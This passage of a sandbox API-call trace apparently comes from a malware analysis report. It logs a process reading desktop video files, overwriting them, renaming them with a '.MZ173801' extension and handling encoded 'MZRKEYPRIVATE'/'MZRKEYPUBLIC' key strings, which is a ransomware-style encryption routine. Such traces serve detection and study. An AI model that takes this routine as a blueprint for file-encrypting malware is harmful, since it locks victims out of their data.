rnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.547] GetCurrentThreadId () returned 0xab4 [0176.548] GetCurrentThreadId () returned 0xab4 [0176.548] GetCurrentThreadId () returned 0xab4 [0176.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oojslrpvlmu.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.548] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.548] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.548] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x787 [0176.548] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.548] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x787, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x787, lpOverlapped=0x0) returned 1 [0176.549] CloseHandle (hObject=0x320) returned 1 [0176.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oojslrpvlmu.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.551] WriteFile (in: hFile=0x320, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x787, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0x787, lpOverlapped=0x0) returned 1 [0176.552] CloseHandle (hObject=0x320) returned 1 [0176.552] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\oojslrpvlmu.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\oojSlrPVLmu.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\oojslrpvlmu.avi.mz173801")) returned 1 [0176.553] GetCurrentThreadId () returned 0xab4 [0176.553] GetCurrentThreadId () returned 0xab4 [0176.553] GetCurrentThreadId () returned 0xab4 [0176.553] GetCurrentThreadId () returned 0xab4 [0176.553] GetCurrentThreadId () returned 0xab4 [0176.553] GetCurrentThreadId () returned 0xab4 [0176.553] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ac88f0, ftCreationTime.dwHighDateTime=0x1d5e500, ftLastAccessTime.dwLowDateTime=0x46be9e90, ftLastAccessTime.dwHighDateTime=0x1d5e27b, ftLastWriteTime.dwLowDateTime=0x46be9e90, ftLastWriteTime.dwHighDateTime=0x1d5e27b, nFileSizeHigh=0x0, nFileSizeLow=0x18613, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="OZPiTj4Rb.flv", cAlternateFileName="OZPITJ~1.FLV")) returned 1 [0176.553] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.553] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\ozpitj4rb.flv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ac88f0, ftCreationTime.dwHighDateTime=0x1d5e500, ftLastAccessTime.dwLowDateTime=0x46be9e90, ftLastAccessTime.dwHighDateTime=0x1d5e27b, ftLastWriteTime.dwLowDateTime=0x46be9e90, ftLastWriteTime.dwHighDateTime=0x1d5e27b, nFileSizeHigh=0x0, nFileSizeLow=0x18613)) returned 1 [0176.553] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\ozpitj4rb.flv")) returned 0x20 [0176.553] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv", dwFileAttributes=0x80) returned 1 [0176.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.558] GetCurrentThreadId () returned 0xab4 [0176.558] GetCurrentThreadId () returned 0xab4 [0176.558] GetCurrentThreadId () returned 0xab4 [0176.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.559] GetCurrentThreadId () returned 0xab4 [0176.559] GetCurrentThreadId () returned 0xab4 [0176.559] GetCurrentThreadId () returned 0xab4 [0176.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\ozpitj4rb.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.559] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.559] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.559] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x18613 [0176.559] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.560] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x18613, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x18613, lpOverlapped=0x0) returned 1 [0176.561] CloseHandle (hObject=0x320) returned 1 [0176.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\ozpitj4rb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.566] WriteFile (in: hFile=0x320, lpBuffer=0x24ba040*, nNumberOfBytesToWrite=0x18613, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ba040*, lpNumberOfBytesWritten=0x19fa24*=0x18613, lpOverlapped=0x0) returned 1 [0176.569] CloseHandle (hObject=0x320) returned 1 [0176.569] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\ozpitj4rb.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\OZPiTj4Rb.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\ozpitj4rb.flv.mz173801")) returned 1 [0176.570] GetCurrentThreadId () returned 0xab4 [0176.570] GetCurrentThreadId () returned 0xab4 [0176.570] GetCurrentThreadId () returned 0xab4 [0176.570] GetCurrentThreadId () returned 0xab4 [0176.570] GetCurrentThreadId () returned 0xab4 [0176.570] GetCurrentThreadId () returned 0xab4 [0176.570] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dbfee80, ftCreationTime.dwHighDateTime=0x1d5f057, ftLastAccessTime.dwLowDateTime=0x45b19da0, ftLastAccessTime.dwHighDateTime=0x1d5edfb, ftLastWriteTime.dwLowDateTime=0x45b19da0, ftLastWriteTime.dwHighDateTime=0x1d5edfb, nFileSizeHigh=0x0, nFileSizeLow=0xe4f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="QsHzM41CtrXDXmh.odt", cAlternateFileName="QSHZM4~1.ODT")) returned 1 [0176.570] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.570] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.570] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2932660, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0xb340ef60, ftLastAccessTime.dwHighDateTime=0x1d5ee96, ftLastWriteTime.dwLowDateTime=0xb340ef60, ftLastWriteTime.dwHighDateTime=0x1d5ee96, nFileSizeHigh=0x0, nFileSizeLow=0x38e1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RGQur6sY-GXeNf-nX.jpg", cAlternateFileName="RGQUR6~1.JPG")) returned 1 [0176.570] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.570] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\RGQur6sY-GXeNf-nX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\rgqur6sy-gxenf-nx.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: 